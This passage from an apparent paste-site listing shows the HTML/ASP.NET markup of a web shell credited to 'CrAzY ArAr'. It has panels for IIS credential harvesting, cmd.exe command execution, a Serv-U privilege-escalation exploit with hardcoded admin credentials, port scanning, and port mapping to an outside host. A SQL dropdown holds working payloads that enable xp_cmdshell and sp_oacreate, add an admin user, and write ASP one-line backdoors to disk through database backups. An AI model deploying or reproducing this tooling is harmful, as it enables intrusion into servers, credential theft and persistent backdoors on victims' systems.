  5114. <input class="style4" id="aLsn" type="text" runat="server"/><span class="style8">
  5115.  
  5116. </span>
  5117.  
  5118. </p>
  5119.  
  5120. <p>
  5121.  
  5122. <asp:Button ID="kOG" CssClass="bt" runat="server" Text="Submit" OnClick="tIykC" Font-Bold="True" Font-Names="Gill Sans, Gill Sans MT, Calibri, Trebuchet MS, sans-serif"/>
  5123.  
  5124. </p>
  5125.  
  5126. </div>
  5127.  
  5128. <%--IISSpy--%>
  5129.  
  5130. <div runat="server" id="VNR" visible="false" enableviewstate="false">
  5131.  
  5132. <table width="100%" border="0" cellpadding="4" cellspacing="0" style="margin:10px 0;">
  5133.  
  5134. <asp:Table ID="GlI" runat="server" Width="100%" CellSpacing="0">
  5135.  
  5136. <asp:TableRow CssClass="head"><asp:TableCell>ID</asp:TableCell><asp:TableCell>IIS_USER</asp:TableCell><asp:TableCell>IIS_PASS</asp:TableCell><asp:TableCell>Domain</asp:TableCell><asp:TableCell>Path</asp:TableCell></asp:TableRow>
  5137.  
  5138. </asp:Table>
  5139.  
  5140. </table>
  5141.  
  5142. </div>
  5143.  
  5144. <%--Process--%>
  5145.  
  5146. <div runat="server" id="DCbS" visible="false" enableviewstate="false">
  5147.  
  5148. <table width="100%" border="0" cellpadding="4" cellspacing="0" style="margin:10px 0;">
  5149.  
  5150. <asp:Table ID="IjsL" runat="server" Width="100%" CellSpacing="0" >
  5151.  
  5152. <asp:TableRow CssClass="head"><asp:TableCell></asp:TableCell><asp:TableCell>ID</asp:TableCell><asp:TableCell>Process</asp:TableCell><asp:TableCell>ThreadCount</asp:TableCell><asp:TableCell>Priority</asp:TableCell><asp:TableCell>Action</asp:TableCell></asp:TableRow>
  5153.  
  5154. </asp:Table>
  5155.  
  5156. </table>
  5157.  
  5158. </div>
  5159.  
  5160. <%--CmdShell--%>
  5161.  
  5162. <div runat="server" id="vIac">
  5163.  
  5164.  <p><span class="style8"><span class="style15">CmdPath :</span><br/>
  5165.  
  5166.  </span>
  5167.  
  5168.  <input class="style4" runat="server" id="kusi" type="text" size="100" value="c:\windows\system32\cmd.exe"/><b><span class="style7">
  5169.  
  5170.  </span>
  5171.  
  5172.  </p>
  5173.  
  5174.     <span class="style7"><span class="style15">Argument :</span><br/>
  5175.  
  5176.     </span></b>
  5177.  
  5178.  <input class="style4" runat="server" id="bkcm" value="/c Set" type="text" size="100"/>
  5179.  
  5180.     <asp:Button ID="YrqL" CssClass="bt" runat="server" Text="Submit" OnClick="FbhN" Font-Bold="True" Font-Names="Gill Sans, Gill Sans MT, Calibri, Trebuchet MS, sans-serif"/>
  5181.  
  5182.  <div id="tnQRF" runat="server" visible="false" enableviewstate="false">
  5183.  
  5184.  </div>
  5185.  
  5186. </div>
  5187.  
  5188. <%--Services--%>
  5189.  
  5190. <div runat="server" id="iQxm" visible ="false" enableviewstate="false">
  5191.  
  5192. <table width="100%" border="0" cellpadding="4" cellspacing="0" style="margin:10px 0;">
  5193.  
  5194. <asp:Table ID="vHCs" runat="server" Width="100%" CellSpacing="0" >
  5195.  
  5196. <asp:TableRow CssClass="head"><asp:TableCell></asp:TableCell><asp:TableCell>ID</asp:TableCell><asp:TableCell>Name</asp:TableCell><asp:TableCell>Path</asp:TableCell><asp:TableCell>State</asp:TableCell><asp:TableCell>StartMode</asp:TableCell></asp:TableRow>
  5197.  
  5198. </asp:Table>
  5199.  
  5200. </table>
  5201.  
  5202. </div>
  5203.  
  5204. <%--Sysinfo--%>
  5205.  
  5206. <div runat="server" id="ghaB" visible="false" enableviewstate="false">
  5207.  
  5208. <hr style=" border: 1px solid #ddd;height:0px;"/>
  5209.  
  5210. <ul class="info" id="Bin_Ul_Sys" runat="server"></ul>
  5211.  
  5212. <h2 id="Bin_H2_Mac" runat="server"></h2>
  5213.  
  5214. <hr style=" border: 1px solid #ddd;height:0px;"/>
  5215.  
  5216. <ul class="info" id ="Bin_Ul_NetConfig" runat="server"></ul>
  5217.  
  5218. <h2 id="Bin_H2_Driver" runat="server"></h2>
  5219.  
  5220. <hr style=" border: 1px solid #ddd;height:0px;"/>
  5221.  
  5222. <ul class="info" id ="Bin_Ul_Driver" runat="server"></ul>
  5223.  
  5224. </div>
  5225.  
  5226. <%--UserInfo--%>
  5227.  
  5228. <div runat="server" id="xWVQ" visible="false" enableviewstate="false">
  5229.  
  5230. <table width="100%" border="0" cellpadding="4" cellspacing="0" style="margin:10px 0;">
  5231.  
  5232. <asp:Table ID="VPa" runat="server" Width="100%" CellSpacing="0" >
  5233.  
  5234. </asp:Table>
  5235.  
  5236. </table>
  5237.  
  5238. </div>
  5239.  
  5240. <%--SuExp--%>
  5241.  
  5242.  <div runat="server" id="APl">
  5243.  
  5244. <table width="100%" border="0" cellpadding="4" cellspacing="0" style="margin:10px 0;">
  5245.  
  5246.  <tr align="center">
  5247.  
  5248.  <td style="width:10%"></td>
  5249.  
  5250.  <td style="width:20%" align="left"><span class="style17">User Name : </span>
  5251.  
  5252.  <input class="style4" runat="server" id="dNohJ" type="text" size="20" value="localadministrator"/></td>
  5253.  
  5254.  <td style="width:20%" align="left"><span class="style17">PassWord : </span>
  5255.  
  5256.  <input class="style4" runat="server" id="NMd" type="text" size="20" value="#l@$ak#.lk;0@P"/></td>
  5257.  
  5258.  <td style="width:20%" align="left"><span class="style17">Port : </span>
  5259.  
  5260.  <input class="style4" runat="server" id="HlQl" type="text" size="20" value="43958"/></td>
  5261.  
  5262.  <td style="width:10%"></td>
  5263.  
  5264.  </tr>
  5265.  
  5266.  <tr >
  5267.  
  5268.  <td style="width:10%"></td>
  5269.  
  5270.  <td colspan="5"><span class="style17">Cmd-Command&nbsp;&nbsp;:&nbsp;</span><input class="style4" runat="server" id="mHbjB" type="text" size="100" value="cmd.exe /c net user"/>
  5271.  
  5272.  <asp:Button ID="SPhc" CssClass="bt" runat="server" Text="Exploit" OnClick="lRfRj" Font-Bold="True" Font-Names="Gill Sans, Gill Sans MT, Calibri, Trebuchet MS, sans-serif"/></td>
  5273.  
  5274.  </tr>
  5275.  
  5276. </table>
  5277.  
  5278. <div id="UHlA" visible="false" enableviewstate="false" runat="server">
  5279.  
  5280. <table width="100%" border="0" cellpadding="4" cellspacing="0" style="margin:10px 0;">
  5281.  
  5282. <tr align="center">
  5283.  
  5284. <td style="width:30%"></td>
  5285.  
  5286. <td align="left" style="width:40%"><pre id="Bin_Td_Res" runat="server"></pre></td>
  5287.  
  5288. <td style="width:30%"></td>
  5289.  
  5290. </tr>
  5291.  
  5292. </table>
  5293.  
  5294. </div>
  5295.  
  5296. </div>
  5297.  
  5298. <%--Reg--%>
  5299.  
  5300. <div id="kkHN" runat="server">
  5301.  
  5302. <p><span class="style17">Registry Path : </span>
  5303.  
  5304. <asp:TextBox id="qPdI" style="width:85%;margin:0 8px;" CssClass="input" runat="server" Font-Bold="True" Font-Names="Gill Sans, Gill Sans MT, Calibri, Trebuchet MS, sans-serif"/>
  5305.  
  5306. <asp:Button ID="MoNA" runat="server" Text="Go" CssClass="bt" onclick="RAFL" Font-Bold="True" Font-Names="Gill Sans, Gill Sans MT, Calibri, Trebuchet MS, sans-serif"/></p>
  5307.  
  5308. <table width="100%" border="0" cellpadding="0" cellspacing="0" style="margin:10px 0;">
  5309.  
  5310. <asp:Table ID="pLWD" runat="server" Width="100%" CellSpacing="0" >
  5311.  
  5312. <asp:TableRow CssClass="alt1"><asp:TableCell ColumnSpan="2" id="vyX"></asp:TableCell></asp:TableRow>
  5313.  
  5314. <asp:TableRow CssClass="head"><asp:TableCell Width="40%">Key</asp:TableCell><asp:TableCell Width="60%">Value</asp:TableCell></asp:TableRow>
  5315.  
  5316. </asp:Table>
  5317.  
  5318. </table>
  5319.  
  5320. </div>
  5321.  
  5322. <%--PortScan--%>
  5323.  
  5324. <div id="YwLB" runat="server">
  5325.  
  5326. <p>
  5327.  
  5328. <span class="style17">IP : </span>
  5329.  
  5330. <asp:TextBox id="MdR" style="width:10%;margin:0 8px;" CssClass="input" runat="server" Text="127.0.0.1" Font-Bold="True" Font-Names="Gill Sans, Gill Sans MT, Calibri, Trebuchet MS, sans-serif"/>
  5331.  
  5332. <span class="style8"><span class="style15">Port :</span> </span>
  5333.  
  5334. <asp:TextBox id="lOmX" style="width:40%;margin:0 8px;" CssClass="input" runat="server" Text="21,25,80,110,1433,1723,3306,3389,4899,5631,43958,65500" Font-Bold="True" Font-Names="Gill Sans, Gill Sans MT, Calibri, Trebuchet MS, sans-serif"/>
  5335.  
  5336. <asp:Button ID="CmUCh" runat="server" Text="Scan" CssClass="bt" OnClick="ELkQ" Font-Bold="True" Font-Names="Gill Sans, Gill Sans MT, Calibri, Trebuchet MS, sans-serif"/>
  5337.  
  5338. </p>
  5339.  
  5340. <div id="GBYT" runat="server" visible="false" enableviewstate="false"></div>
  5341.  
  5342. </div>
  5343.  
  5344. <%--DataBase--%>
  5345.  
  5346. <div id="iDgmL" runat="server">
  5347.  
  5348. <p><span class="style17">ConnString : </span>
  5349.  
  5350. <asp:TextBox id="MasR" style="width:70%;margin:0 8px;" CssClass="input" runat="server" Font-Bold="True" Font-Names="Gill Sans, Gill Sans MT, Calibri, Trebuchet MS, sans-serif"/>
  5351.  
  5352. <asp:DropDownList runat="server" CssClass="list" ID="WYmo" AutoPostBack="True" OnSelectedIndexChanged="zOVO" Font-Bold="True" Font-Names="Gill Sans, Gill Sans MT, Calibri, Trebuchet MS, sans-serif" ><asp:ListItem></asp:ListItem><asp:ListItem Value="server=localhost;UID=sa;PWD=;database=master;Provider=SQLOLEDB">MSSQL</asp:ListItem><asp:ListItem Value="Provider=Microsoft.Jet.OLEDB.4.0;Data Source=E:\database.mdb">ACCESS</asp:ListItem></asp:DropDownList>
  5353.  
  5354. <asp:Button ID="QcZPA" runat="server" Text="Go" CssClass="bt" OnClick="BGY" Font-Bold="True" Font-Names="Gill Sans, Gill Sans MT, Calibri, Trebuchet MS, sans-serif"/></p>
  5355.  
  5356. <div id="dQIIF" runat="server">
  5357.  
  5358. <div id="irTU" runat="server"></div>
  5359.  
  5360. <div id="uXevN" runat="server">
  5361.  
  5362.     <span class="style8"><span class="style15">Please select a database :</span> : </span>
  5363.  
  5364.     <asp:DropDownList runat="server" ID="Pvf" AutoPostBack="True" OnSelectedIndexChanged="zOVO" CssClass="list" Font-Bold="True" Font-Names="Gill Sans, Gill Sans MT, Calibri, Trebuchet MS, sans-serif"></asp:DropDownList>
  5365.  
  5366.     <span class="style8"><span class="style15">SQLExec :</span> </span>
  5367.  
  5368.     <asp:DropDownList runat="server" ID="FGEy" AutoPostBack="True" OnSelectedIndexChanged="zOVO" CssClass="list" Font-Bold="True" Font-Names="Gill Sans, Gill Sans MT, Calibri, Trebuchet MS, sans-serif"><asp:ListItem Value="">-- SQL Server Exec --</asp:ListItem><asp:ListItem Value="Use master dbcc addextendedproc('xp_cmdshell','xplog70.dll')">Add xp_cmdshell</asp:ListItem><asp:ListItem Value="Use master dbcc addextendedproc('sp_OACreate','odsole70.dll')">Add sp_oacreate</asp:ListItem><asp:ListItem Value="Exec sp_configure 'show advanced options',1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell',1;RECONFIGURE;">Add xp_cmdshell(SQL2005)</asp:ListItem><asp:ListItem Value="Exec sp_configure 'show advanced options',1;RECONFIGURE;exec sp_configure 'Ole Automation Procedures',1;RECONFIGURE;">Add sp_oacreate(SQL2005)</asp:ListItem><asp:ListItem Value="Exec sp_configure 'show advanced options',1;RECONFIGURE;exec sp_configure 'Web Assistant Procedures',1;RECONFIGURE;">Add makewebtask(SQL2005)</asp:ListItem><asp:ListItem Value="Exec sp_configure 'show advanced options',1;RECONFIGURE;exec sp_configure 'Ad Hoc Distributed Queries',1;RECONFIGURE;">Add openrowset/opendatasource(SQL2005)</asp:ListItem><asp:ListItem Value="Exec master.dbo.xp_cmdshell 'net user'">XP_cmdshell exec</asp:ListItem><asp:ListItem Value="EXEC MASTER..XP_dirtree 'c:\',1,1">XP_dirtree</asp:ListItem><asp:ListItem Value="Declare @s int;exec sp_oacreate 'wscript.shell',@s out;Exec SP_OAMethod @s,'run',NULL,'cmd.exe /c echo ^&lt;%execute(request(char(35)))%^>>c:\bin.asp';">SP_oamethod exec</asp:ListItem><asp:ListItem Value="sp_makewebtask @outputfile='c:\bin.asp',@charset=gb2312,@query='select ''&lt;%execute(request(chr(35)))%&gt;'''">SP_makewebtask make file</asp:ListItem><asp:ListItem Value="exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1;select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\windows\system32\ias\ias.mdb','select shell(&#34;cmd.exe /c net user root root/add &#34;)')">SandBox</asp:ListItem><asp:ListItem Value="create table [bin_cmd]([cmd] [image]);declare @a sysname,@s nvarchar(4000)select @a=db_name(),@s=0x62696E backup log @a to disk=@s;insert into [bin_cmd](cmd)values('&lt;%execute(request(chr(35)))%&gt;');declare @b sysname,@t nvarchar(4000)select @b=db_name(),@t='e:\1.asp' backup log @b to disk=@t with init,no_truncate;drop table [bin_cmd];">LogBackup</asp:ListItem><asp:ListItem Value="create table [bin_cmd]([cmd] [image]);declare @a sysname,@s nvarchar(4000)select @a=db_name(),@s=0x62696E backup database @a to disk=@s;insert into [bin_cmd](cmd)values('&lt;%execute(request(chr(35)))%&gt;');declare @b sysname,@t nvarchar(4000)select @b=db_name(),@t='c:\bin.asp' backup database @b to disk=@t WITH DIFFERENTIAL,FORMAT;drop table [bin_cmd];">DatabaseBackup</asp:ListItem></asp:DropDownList>
  5369.  
  5370. </div>
  5371.  
  5372. <table width="200" border="0" cellpadding="0" cellspacing="0"><tr>
  5373.  
  5374.     <td class="style8"> Run SQL </td></tr><tr><td>
  5375.  
  5376.         <textarea id="jHIy" class="style5" style="width:600px;height:60px;overflow:auto;" runat="server" rows="6" cols="1"></textarea></td></tr><tr><td>
  5377.  
  5378. <asp:Button runat="server" ID="WOhJ" CssClass="bt" Text="Query" onclick="ORUgV" Font-Bold="True" Font-Names="Gill Sans, Gill Sans MT, Calibri, Trebuchet MS, sans-serif"/></td></tr></table>
  5379.  
  5380. <div style="overflow-x:auto;width:950px" >
  5381.  
  5382. <p>
  5383.  
  5384. <asp:DataGrid runat="server" ID="rom" HeaderStyle-CssClass="head" BorderWidth="0" GridLines="None" ></asp:DataGrid>
  5385.  
  5386. </p>
  5387.  
  5388. </div>
  5389.  
  5390. </div>
  5391.  
  5392. </div>
  5393.  
  5394. <%--PortMap--%>
  5395.  
  5396. <div id="hOWTm" runat="server">
  5397.  
  5398. <table width="100%" border="0" cellpadding="4" cellspacing="0" style="margin:10px 0;">
  5399.  
  5400. <tr align="center">
  5401.  
  5402. <td style="width:5%"></td>
  5403.  
  5404. <td style="width:20%" align="left"><span class="style17">Local Ip : </span>
  5405.  
  5406. <input class="style4" runat="server" id="eEpm" type="text" size="20" value="127.0.0.1"/></td>
  5407.  
  5408. <td style="width:20%" align="left"><span class="style17">Local Port : </span>
  5409.  
  5410. <input class="style4" runat="server" id="iXdh" type="text" size="20" value="3389"/></td>
  5411.  
  5412. <td style="width:20%" align="left"><span class="style17">Remote Ip : </span>
  5413.  
  5414. <input class="style4" runat="server" id="llH" type="text" size="20" value="www.rootkit.net.cn"/></td>
  5415.  
  5416. <td style="width:20%" align="left"><span class="style17">Remote Port : </span>
  5417.  
  5418. <input class="style4" runat="server" id="ZHS" type="text" size="20" value="80"/></td></tr>
  5419.  
  5420. <tr align="center"><td colspan="5"><b><br class="style7"/></b>
  5421.  
  5422.     <asp:Button ID="FJE" CssClass="bt" runat="server" Text="MapPort" OnClick="wDZ" Font-Bold="True" Font-Names="Gill Sans, Gill Sans MT, Calibri, Trebuchet MS, sans-serif"/>
  5423.  
  5424.     &nbsp;
  5425.  
  5426.     <asp:Button ID="giX" CssClass="bt" runat="server" Text="ClearAll" OnClick="vJNsE" Font-Bold="True" Font-Names="Gill Sans, Gill Sans MT, Calibri, Trebuchet MS, sans-serif"/>
  5427.  
  5428.     &nbsp;
  5429.  
  5430.     <asp:Button ID="GFsm" CssClass="bt" runat="server" Text="Refresh" OnClick="tYoZ" Font-Bold="True" Font-Names="Gill Sans, Gill Sans MT, Calibri, Trebuchet MS, sans-serif"/></td></tr></table></div>
  5431.  
  5432. <%--Search--%>
  5433.  
  5434. <div id="yhv" runat="server">
  5435.  
  5436. <table width="100%" border="0" cellpadding="4" cellspacing="0" style="margin:10px 0;">
  5437.  
  5438. <tr align="center">
  5439.  
  5440. <td style="width:20%" align="left" class="style17">Keyword</td>
  5441.  
  5442. <td style="width:60%" align="left">
  5443.  
  5444. <textarea id="iaMKl" runat="server" class="style5" style="width:100%" rows="4"></textarea></td>
  5445.  
  5446. <td style="width:20%" align="left">
  5447.  
  5448. <input type="checkbox" runat="server" id="rAQ" value="1" class="style8"/><span class="style8">
  5449.  
  5450. <span class="style15">Use Regex</span></span></td>
  5451.  
  5452. </tr>
  5453.  
  5454. <tr align="center">
  5455.  
  5456. <td style="width:20%" align="left" class="style17">Replace As</td>
  5457.  
  5458. <td style="width:60%" align="left">
  5459.  
  5460. <textarea id="qPe" runat="server" class="style5" style="width:100%" rows="4"></textarea></td>
  5461.  
  5462. <td style="width:20%" align="left">
  5463.  
  5464. <input type="checkbox" runat="server" id="YZw" class="style8"/><span class="style8">
  5465.  
  5466. <span class="style15">Replace</span></span></td>
  5467.  
  5468. </tr>
  5469.  
  5470. <tr align="center">
  5471.  
  5472. <td style="width:20%" align="left" class="style17">Search FileType</td>
  5473.  
  5474. <td style="width:60%" align="left">
  5475.  
  5476. <input type="text" runat="server" class="style4" id="UDLvA" style="width:100%" value="asp|asa|cer|cdx|aspx|asax|ascx|cs|jsp|php|txt|inc|ini|js|htm|html|xml|config"/></td>
  5477.  
  5478. <td style="width:20%" align="left">
  5479.  
  5480. <asp:DropDownList runat="server" ID="Ven" AutoPostBack="False" CssClass="list" Font-Bold="True" Font-Names="Gill Sans, Gill Sans MT, Calibri, Trebuchet MS, sans-serif"><asp:ListItem Value="name">File Name</asp:ListItem><asp:ListItem Value="content" Selected="True">File Content</asp:ListItem></asp:DropDownList></td>
  5481.  
  5482. </tr>
  5483.  
  5484. <tr align="center">
  5485.  
  5486. <td style="width:20%" align="left" class="style17">Path</td>
  5487.  
  5488. <td style="width:60%" align="left">
  5489.  
  5490. <input type="text" class="style4" id="NaLJ" runat="server" style="width:100%" /></td>
  5491.  
  5492. <td style="width:20%" align="left">
  5493.  
  5494. <asp:Button CssClass="bt" id="axy" runat="server" onclick="NBy" Text="Start" Font-Bold="True" Font-Names="Gill Sans, Gill Sans MT, Calibri, Trebuchet MS, sans-serif" /></td>
  5495.  
  5496. </tr>
  5497.  
  5498. </table>
  5499.  
  5500.     <span class="style8">
  5501.  
  5502. <br/>
  5503.  
  5504. <br/>
  5505.  
  5506.     </span>
  5507.  
  5508. <asp:Table ID="oJiym" runat="server" Width="100%" CellSpacing="0" >
  5509.  
  5510. <asp:TableRow CssClass="head"><asp:TableCell Width="60%">File Path</asp:TableCell><asp:TableCell Width="20%">Last modified</asp:TableCell><asp:TableCell Width="20%">Size</asp:TableCell></asp:TableRow>
  5511.  
  5512. </asp:Table>
  5513.  
  5514. </div>
  5515.  
  5516. </td></tr></table>
  5517.  
  5518. <div style="padding:10px;border-bottom:1px solid #fff;border-top:1px solid #ddd;background:#eee;" class="style18">
  5519.  
  5520.     <b>Copyright 2010 © :: <span class="style19">CrAzY ArAr</span> ::&nbsp; All Rights Reserved.<br />
  5521.  
  5522.     <a href="http://www.zone-h.org/archive/notifier=crazy-3r3r" target="_blank">aljyyosh.com</a></b></div>
  5523.  
  5524.     </div>
  5525.  
  5526. </form>
  5527.  
  5528. </body>
  5529.  
  5530. </html>
  5531.  
  5532. <span class="style8">
  5533.  
  5534. <br></span>
  5535.  
  5536. </center>
  5537.  
  5538. <body style="background-color: #D4D0C8">
  5539.  
  5540.  
  5541.  
  5542. <p class="style1"><strong><span class="style2">--:: Coded By CrAzY ArAr ::--</span></strong></p>
Add Comment
Please, Sign In to add comment